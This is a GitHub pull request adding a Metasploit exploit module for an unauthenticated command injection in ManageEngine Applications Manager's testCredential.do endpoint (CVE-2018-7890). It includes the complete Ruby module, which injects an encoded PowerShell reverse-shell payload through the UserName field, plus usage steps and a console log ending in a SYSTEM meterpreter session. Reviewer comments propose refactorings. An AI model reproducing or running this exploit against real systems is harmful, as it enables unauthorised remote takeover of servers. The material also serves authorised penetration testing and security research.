Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Adding ManageEngine Application Manager RCE #9684

Merged
merged 7 commits into from
Mar 27, 2018
Merged
Show file tree
Hide file tree
Changes from 4 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
## Vulnerable Application
This module exploits command injection vulnerability in the ManageEngine Application Manager product. An unauthenticated user can execute a operating system command under the context of privileged user. Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials by accessing given system. This endpoint calls a several internal classes and then executes powershell script without validating user supplied parameter when the given system is OfficeSharePointServer.

**Vulnerable Application Installation Steps**

Go to following website and download Windows version of the product. It comes with built-in Java and Postgresql so you don't need to install anything else.
[https://www.manageengine.com/products/applications_manager/download.html](https://www.manageengine.com/products/applications_manager/download.html)

## Verification Steps
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

These steps are a lie.

Consider:

1. Start `msfconsole`
2. `use exploit/windows/http/manageengine_appmanager_exec`
3. Set `RHOST <RHOST>`
4. Set `PAYLOAD windows/meterpreter/reverse_tcp`
5. Set `LHOST <LHOST>`
6. Run `check`
7. **Verify** that you are seeing `The target is vulnerable.` in console.
8. Run `exploit`
9. **Verify** that you are seeing `Triggering the vulnerability` in console.
10. **Verify** that you are seeing `Sending stage to <TARGET>` in console.
11. **Verify** that you have your shell.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Ups sorry. I forgot to update from another module.


A successful check of the exploit will look like this:

- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/securityonion_xplico_exec`
- [ ] Set `RHOST`
- [ ] Set `PAYLOAD windows/meterpreter/reverse_tcp`
- [ ] Set `LHOST`
- [ ] Run `check`
- [ ] **Verify** that you are seeing `The target is vulnerable.` in console.
- [ ] Run `exploit`
- [ ] **Verify** that you are seeing `Triggering the vulnerability` in console.
- [ ] **Verify** that you are seeing `Sending stage (179779 bytes) to <TARGET>` in console.
- [ ] **Verify** that you have your shell.

## Scenarios

```
msf5 >
msf5 > use exploit/windows/http/manageengine_appmanager_exec
msf5 exploit(windows/http/manageengine_appmanager_exec) > set RHOST 12.0.0.192
RHOST => 12.0.0.192
msf5 exploit(windows/http/manageengine_appmanager_exec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/http/manageengine_appmanager_exec) > set LHOST 12.0.0.1
LHOST => 12.0.0.1
msf5 exploit(windows/http/manageengine_appmanager_exec) > check
[+] 12.0.0.192:9090 The target is vulnerable.
msf5 exploit(windows/http/manageengine_appmanager_exec) > run

[*] Started reverse TCP handler on 12.0.0.1:4444
[*] Trigerring the vulnerability
[*] Sending stage (179779 bytes) to 12.0.0.192

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
114 changes: 114 additions & 0 deletions modules/exploits/windows/http/manageengine_appmanager_exec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,114 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => "ManageEngine Applications Manager Remote Code Execution",
'Description' => %q(
This module exploits command injection vulnerability in the ManageEngine Application Manager product.
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should be Applications Manager, not Application Manager (apparently)

An unauthenticated user can execute a operating system command under the context of privileged user.

Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials
by accessing given system. This endpoint calls a several internal classes and then executes powershell script
without validating user supplied parameter when the given system is OfficeSharePointServer.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['CVE', '2018-7890'],
['URL', 'https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/']
],
'DefaultOptions' =>
{
'WfsDelay' => 10,
'RPORT' => 9090
},
'Payload' =>
{
'BadChars' => "\x22"
},
'Platform' => ['win'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Automatic', {}]],
'Privileged' => true,
'DisclosureDate' => 'Mar 7 2018',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the application', '/'])
]
)
end

def check
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Perhaps I missed something, but it looks like the HTTP request in the check method and exploit method are almost identical, with the exception of the UserName.

You could create a new method which takes a username parameter and returns the result of the send_request_cgi call, then call this method from both the check method and exploit method.

Not required, but it's nice to be DRY :)

Something like this:

  def test_credential(username)
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'testCredential.do'),
      'vars_post' => {
        'method' => 'testCredentialForConfMonitors',
        'type' => 'OfficeSharePointServer',
        'montype' => 'OfficeSharePointServer',
        'isAgentEnabled' => 'NO',
        'isAgentAssociated' => 'false',
        'displayname' => Rex::Text.rand_text_alpha(rand(10..15)),
        'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems...
        'Version' => '2013',
        'Powershell' => 'True', # :-)
        'CredSSP' => 'False',
        'SPType' => 'SPServer',
        'CredentialDetails' => 'nocm',
        'Password' => Rex::Text.rand_text_alpha(rand(3..10)),
        'UserName' => username
      }
    )
  end

  def check
    res = test_credential(Rex::Text.rand_text_alpha(rand(3..10)))

    unless res
      vprint_error('Connection failed')
      return CheckCode::Unknown
    end

    if res.body.include?('Kindly check the credentials and try again')
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    powershell_options = {
      encode_final_payload: true,
      remove_comspec: true
    }
    p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)

    print_status('Triggering the vulnerability')

    test_credential("$(#{p})")
  end

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Couldn't agree more. Done^^

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'testCredential.do'),
'vars_post' => {
'method' => 'testCredentialForConfMonitors',
'type' => 'OfficeSharePointServer',
'montype' => 'OfficeSharePointServer',
'isAgentEnabled' => 'NO',
'isAgentAssociated' => 'false',
'displayname' => Rex::Text.rand_text_alpha(10),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Randomization for the win:

        'displayname' => Rex::Text.rand_text_alpha(rand(10..15)),

'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems...
'Version' => '2013',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Does 2013 need to be static?

'Powershell' => 'True', # :-)
'CredSSP' => 'False',
'SPType' => 'SPServer',
'CredentialDetails' => 'nocm',
'Password' => Rex::Text.rand_text_alpha(3),
'UserName' => Rex::Text.rand_text_alpha(3)
}
)
if res && res.body.include?('Kindly check the credentials and try again')
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
powershell_options = {
encode_final_payload: true,
remove_comspec: true
}
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)

print_status('Triggering the vulnerability')

send_request_cgi(
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Does the server return a response when exploitation is successful, or does triggering the payload cause the request to timeout?

If the server returns a response, it might be nice to validate the response and print an appropriate message.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nope, since this command injection issue a request that exploits the vulnerability will be hanging on.

'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'testCredential.do'),
'vars_post' => {
'method' => 'testCredentialForConfMonitors',
'type' => 'OfficeSharePointServer',
'montype' => 'OfficeSharePointServer',
'isAgentEnabled' => 'NO',
'isAgentAssociated' => 'false',
'displayname' => Rex::Text.rand_text_alpha(10),
'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems...
'Version' => '2013',
'Powershell' => 'True', # :-)
'CredSSP' => 'False',
'SPType' => 'SPServer',
'CredentialDetails' => 'nocm',
'Password' => Rex::Text.rand_text_alpha(3),
'UserName' => "$(#{p})"
}
)
end
end